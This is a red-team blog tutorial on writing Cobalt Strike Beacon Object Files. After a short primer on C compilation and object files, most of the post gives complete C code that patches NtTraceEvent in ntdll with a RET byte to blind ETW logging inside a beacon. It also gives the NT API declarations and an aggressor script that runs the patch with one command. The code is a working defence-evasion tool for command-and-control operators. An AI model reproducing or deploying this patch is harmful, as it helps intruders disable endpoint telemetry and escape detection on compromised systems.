Introduction

Since CobaltStrike 4.1, an operator is able to execute code directly inside the memory of a beacon, avoiding the fork and run pattern and also the IoCs from execute-assembly. This was achieved with the introduction of Beacon Object Files (BOFs). BOFs have a lot of benefits for simple programs that will return results quickly, it was not made as a replacement for execute-assembly which is suitable for long running jobs.
I’ll try to explain to the best of my knowledge what’s an object file, and I’ll demonstrate an example setup to develop a BOF for ETW (Event Tracing for Windows) patching.

What’s an object file?

Let’s say you compile a C program (main.c), it’s going through the following process: Preprocessor -> Compiler -> Assembler -> Linker. At the end, we are going to have our shiny executable. What we don’t see is the magic behind the compiler, taking our main.c source code and passing it through all these differents steps.

Preprocessing

This is the 1st step of the compilation phase. The preprocessor is going to:

  • Remove all the comments from the source code.
  • Expands all the macros such as the calls to #define and replace them with assembly level instructions.
  • Include all the files from #include.
  • Do some conditional compilation by checking if macros are defined or not. This is due to the use of #ifdef, #endif, #ifndef, #if, #else and elif.

Compiling

During this phase, the compiler takes the output from the preprocessor and output an assembly file (main.s). This file contains assembly instructions.

Assembling

Here the assembler will convert our previous assembly file to machine code in binary or hexadecimal form known as object file.The output of the assembler will be main.obj in DOS or main.o in UNIX. This is the real output of our compilation process

Linking

This is the phase where we link all function calls with their definitions in libraries(.lib). There are some unknown statements in our object file (main.obj/o) that the OS can’t understand, so the linker is going to use Library Files to give them some meaning and produce our final executable.

By default, lots of compilers will run the linker for you. In GCC for example, you can specify that you only want to compile using:
gcc main.c -c -o main.o

-c: just compile, don’t link

In summary, an object file is the output of a compilation, but without the linking phase. As it is only assembly code, which is really small compared to an executable.

Some warnings against BOFs

BOFs are great, but they have some limitations. It’s important to understand them before you start the development process.
As I already mentioned before, BOFs are not suitable for long running jobs as the code is executed in the memory of your beacon and you can’t do anything until the bof finishes its task.

There are also some constraints specific to their development such as:

  • All global variables need to be initialized to a non-zero value.
  • As bofs execute inside your beacon, if a bof crashes, you lose your access :(, be careful.
  • Large switch/case statements can make your BOF crash. If it’s the case, switch to if/else if statements.
  • In order to call functions such as strlen, strncmp, etc you need to use Dynamic Fucntion Resolution (DFR) and import them from MSVRCT library (you’ll see how below).

Development Setup

If you are new to the world of BOFs, the simplest way to start is with the official Visual studio template , you can find it here. To import this template into Microsoft Visual Studio, just follow the steps described in the repository.
Then open visual studio, create a new project and choose the BOF template.

Figure 1 - Visual studio

Figure 1 - Visual studio

You will end up with a solution containing the following structure:
Figure 2 - Project structure

Where:
beacon.h is the official beacon header file from CobalStrike. It contains definitions for several Beacon APIs.
helpers.h is a helper file containing macros that will help us call WinAPI easily.
bof.cpp is an example source code for a BOF. As you can see, the BOF code needs to be inside the extern "C" code blocks as the template is in Cplusplus but we want to write our object file in C.

Just create a new .cpp source file and give it the name you want. In my case, I’ll call it etwPatchV2. Copy the whole content of bof.cpp into the file you just created and we’ll start the development from there.

The cobalstrike team simplified the process to develop BOFs and introduced a new way for us to call windows API functions. These 2 new methods are explained in specific details on their blog. I will walk you through the process of creating a BOF to perform ETW patching by using these 2 methods.

In order to test our BOF during the development process, I’m going to use a coffloader from TrustedSec. This will allow us to run our BOF without the need of an implant.

CS BOF - ETW Patching

I will not dive deep into ETW patching here; but basically, it helps to limit the events sent to ETW (Event Tracing for Windows). Of course this only affects usermode events and won’t make any differences against kernel callbacks and mini filters, or anything from the kernel.

I highly recommend you to implement your BOF as an executable program first; and then, convert it to BOF. It will make things a lot more easier.

I’ll use my code in NightWalker and convert it to BOF:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void etwPatch() {
	/* https://whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit/ */
	/* https://github.com/Mr-Un1k0d3r/AMSI-ETW-Patch/blob/main/patch-etw-x64.c */
	DWORD oldPro = 0;
	HANDLE hCurProc = (HANDLE)0xffffffffffffffff;
	NTSTATUS success;
	unsigned char patch[] = { '\xc3'};
	SIZE_T sizeOfPatch = sizeof(patch);
	LPVOID ptrNtTraceEvent = hlpGetProcAddress(dllModule, ntTraceEvent);
	printf("[+]\tLocation of NtTraceEvent: %p\n", ptrNtTraceEvent);
	char* value = (char*)ptrNtTraceEvent;
	printf("[+]\tNtTraceEvent 3rd byte before patching: %04x\n", *(value+3));
	success = pVirtualProtect(hCurProc, &ptrNtTraceEvent, (PULONG)&sizeOfPatch, PAGE_EXECUTE_WRITECOPY, &oldPro); 
	if (NT_SUCCESS(success)) {
		printf("[+]\tProtection of NtTraceEvent changed to wcx\n");
	}
	success = pWriteMem(hCurProc, value+3, (PVOID)patch, 1, (SIZE_T*)NULL);
	if (NT_SUCCESS(success)) {
		printf("[+]\tRET instruction copied successfully\n");
		printf("[+]\tNtTraceEvent 3rd byte after patching: %x\n", *(value + 3));
	}
	success = pVirtualProtect(hCurProc, &ptrNtTraceEvent, (PULONG)&sizeOfPatch, oldPro, &oldPro);
	if (NT_SUCCESS(success)) {
		printf("[+]\tProtection of NtTraceEvent restored\n");
		printf("[+]\tPatching successfull\n");
	}
}

Dynamic Fucntion Resolution

If you have already copied the contents from bof.cpp into your newly created source file, we are now going to focus in everything inside the extern "C" code block.

As you can see, in order to call for example, winAPI function GetLastError(), we primarly defined the Dynamic Function Resolution declaration for the GetLastError function DFR(KERNEL32, GetLastError);. DFR() is just a macro which expands to:

1
2
#define DFR(module, function) \
	DECLSPEC_IMPORT decltype(function) module##$##function;

You can see all these definitions in helpers.h.

Basically, we’re using deccltype to extract the type of function, and the template will automatically determine the function’s return type and arguments. This only works because GetLastError(), like most WinAPI functions, are defined in Windows.h. If you want to call NT APIs, like NtProtectVirtualMemory, you need to declare their structure first (we’ll see how below).

Then we Map GetLastError to KERNEL32$GetLastError using #define GetLastError KERNEL32$GetLastError. This will allow us to call the function just by using GetLastError() instead of typing KERNEL32$GetLastError everytime.

Another way we can call a winAPI function is by using DFR_LOCAL() macro like they did with DFR_LOCAL(KERNEL32, GetSystemDirectoryA); inside the go function. The disadvantage of this is that you can only do it within a scope of a function. So if we ever need to call GetSystemDirectoryA in another function, we’ll have to declare it again.

Building our BOF

We start by declaring all functions we will need using the DFR macro.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
...<SNIPPET>
extern "C" {
#include "beacon.h"

    // Define the Dynamic Function Resolution declaration for the GetLastError function
    DFR(KERNEL32, GetLastError);
    DFR(KERNEL32, GetProcAddress);
    DFR(KERNEL32, GetModuleHandleA);
    DFR(NTDLL, NtProtectVirtualMemory);
    DFR(NTDLL, NtWriteVirtualMemory);
    // Map GetLastError to KERNEL32$GetLastError 
#define GetLastError KERNEL32$GetLastError 
#define GetProcAddress KERNEL32$GetProcAddress
#define GetModuleHandleA KERNEL32$GetModuleHandleA
#define NtProtectVirtualMemory NTDLL$NtProtectVirtualMemory
#define NtWriteVirtualMemory NTDLL$NtWriteVirtualMemory

    void go(char* args, int len) {
        ... </SNIPPET>

Next, we define all variables inside go funtion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 void go(char* args, int len) {
    
    HANDLE hProc = 0;
    NTSTATUS success;

    DWORD oldPro = 0;
    LPVOID ptrNtTraceEvent = NULL;
    HMODULE ntdll = NULL;
    HANDLE hCurProc = (HANDLE)0xffffffffffffffff;
    unsigned char patch[] = { '\xc3' };
    SIZE_T sizeOfPatch = sizeof(patch);
    char* ntTraceEvent = "NtTraceEvent";
    char* masterDLL = "ntdll.dll";
    ...<SNIPPET>
 }

And finally, we apply the logic of our code by using the DFR macro.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 void go(char* args, int len) {
    
    ...<SNIPPET>

    ntdll = GetModuleHandleA((LPCSTR)masterDLL);
    //ntdll = GetModuleHandleA((LPCSTR)masterDLL);
    if (ntdll != 0) BeaconPrintf(CALLBACK_OUTPUT, "[+] Handle to NTDLL obtained.\n");


    ptrNtTraceEvent = GetProcAddress(ntdll, ntTraceEvent);
    if (ptrNtTraceEvent != NULL) BeaconPrintf(CALLBACK_OUTPUT, "[+] Pointer to NtTraceEvent obtained.\n");
    char* value = (char*)ptrNtTraceEvent;

    BeaconPrintf(CALLBACK_OUTPUT, "[+] NtTraceEvent 3rd byte before patching: %x\n", *(value + 3));

    success = NtProtectVirtualMemory(hCurProc, &ptrNtTraceEvent, (PULONG)&sizeOfPatch, PAGE_EXECUTE_WRITECOPY, &oldPro);
    if (success == 0) BeaconPrintf(CALLBACK_OUTPUT, "[+] Protection of NtTraceEvent changed to wcx.\n");

    success = NtWriteVirtualMemory(hCurProc, value + 3, (PVOID)patch, 1, (SIZE_T*)NULL);
    if (success == 0) BeaconPrintf(CALLBACK_OUTPUT, "[+] RET instruction copied successfully.\n");

    BeaconPrintf(CALLBACK_OUTPUT, "[+] NtTraceEvent 3rd byte after patching: %x\n", *(value + 3));

    success = NtProtectVirtualMemory(hCurProc, &ptrNtTraceEvent, (PULONG)&sizeOfPatch, oldPro, &oldPro);
    if (success == 0) BeaconPrintf(CALLBACK_OUTPUT, "[+] Protection of NtTraceEvent restored");

    ... </SNIPPET>
 }

At this point, if you try to compile the code, you’ll receive errors about NtProtectVirtualMemory and NtWriteVirtualMemory functions. The DFR macro was unable to determine its type and parameters because they are not defined in Windows.h. To solve this, we need to declare their structures. We could do it in our current source file; however, if you were to build bigger projects it would be cleaner to have a separate header file for our NT APIs structures. So, I decided to put them in helpers.h. Just add the following at the end of the header file helpers.h:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
... </SNIPPET>
#endif // end of _DEBUG
#endif // end of __cplusplus

WINBASEAPI NTSTATUS NTAPI NtProtectVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PULONG RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);
WINBASEAPI NTSTATUS NTAPI NtWriteVirtualMemory(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

Now, we can compile our code and check with TrustedSec CoffLoader if everything is ok:

Figure 3 - BOF execution with TrustedSec CoffLoader

Figure 3 - BOF execution with TrustedSec CoffLoader

Everything looks ok so we can proceed and test with a live beacon:

Figure 4 - BOF execution inside CobaltStrike

Figure 4 - BOF execution inside CobaltStrike

Extra Miles

This part is just to present some extras that would be probably usefull in real life BOFs projects.

First you may have noticed at figure 4 that for each call we made to BeaconPrintf(), CS actually sends a new output buffer associated with a timestamp. CS developers gave us a way to manipulate string buffer conveniently using BeaconFormat API. You can read the official documentation about it here.
So, instead of using BeaconPrintf() everytime, we can create a memory buffer that will hold our output. Each time we need to store some strings we can append it to the create buffer with BeaconFormatPrintf(). We can then print the whole output buffer at once with a single call to BeaconPrintf() and passing our string buffer as parameter inside BeaconFormatToString() . This actually allow us to reuse the same buffer later if needed, or we can just free it if we are done.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
void go(char* args, int len) {

    formatp buffer;
    BeaconFormatAlloc(&buffer, 2048);

    ntdll = GetModuleHandleA((LPCSTR)masterDLL);
    //ntdll = GetModuleHandleA((LPCSTR)masterDLL);
    if (ntdll != 0) BeaconFormatPrintf(&buffer, "[+] Handle to NTDLL obtained.\n");
    ...<code stripped>...
    if (success == 0) BeaconFormatPrintf(&buffer, "[+] Protection of NtTraceEvent restored");

    BeaconPrintf(CALLBACK_OUTPUT, "%s\n", BeaconFormatToString(&buffer, NULL));
    BeaconFormatFree(&buffer);
}

The output inside CS looks also more clean as we have a single output response!

Figure 5 - BOF execution inside CobaltStrike with BeaconFormat API

Figure 5 - BOF execution inside CobaltStrike with BeaconFormat API

The other thing we might improve targets our operation process. We might have multiple BOFs in our arsenal and we probably don’t want to type inline-execute everytime. One thing we can implement to solve this cumbersome process is to create an aggressor script that will execute a specific BOF with one single command. I won’t dive into the development process of a CS aggressor script here as it’s out of scope for this blog, but you can reference to their official documentation here.
And here is a small aggressor script to register etw as an alias to execute my etw BOF:

#register help
beacon_command_register("etw", "Patch ETW for current process",
	"Synopsis: etw \n\n" .
	"Use memory patching technique on NtTraceEvent function to disable ETW");

#setting the alias
alias etw {
	binput($1,"Patching ETW...");
	binline_execute($1,"etwPatchV3.obj");
}
Figure 6 - ETW patch executed through an aggressor script

Figure 6 - ETW patch executed through an aggressor script

You can find all the code used here on my repo.

That’s all for now, stay safe!!

References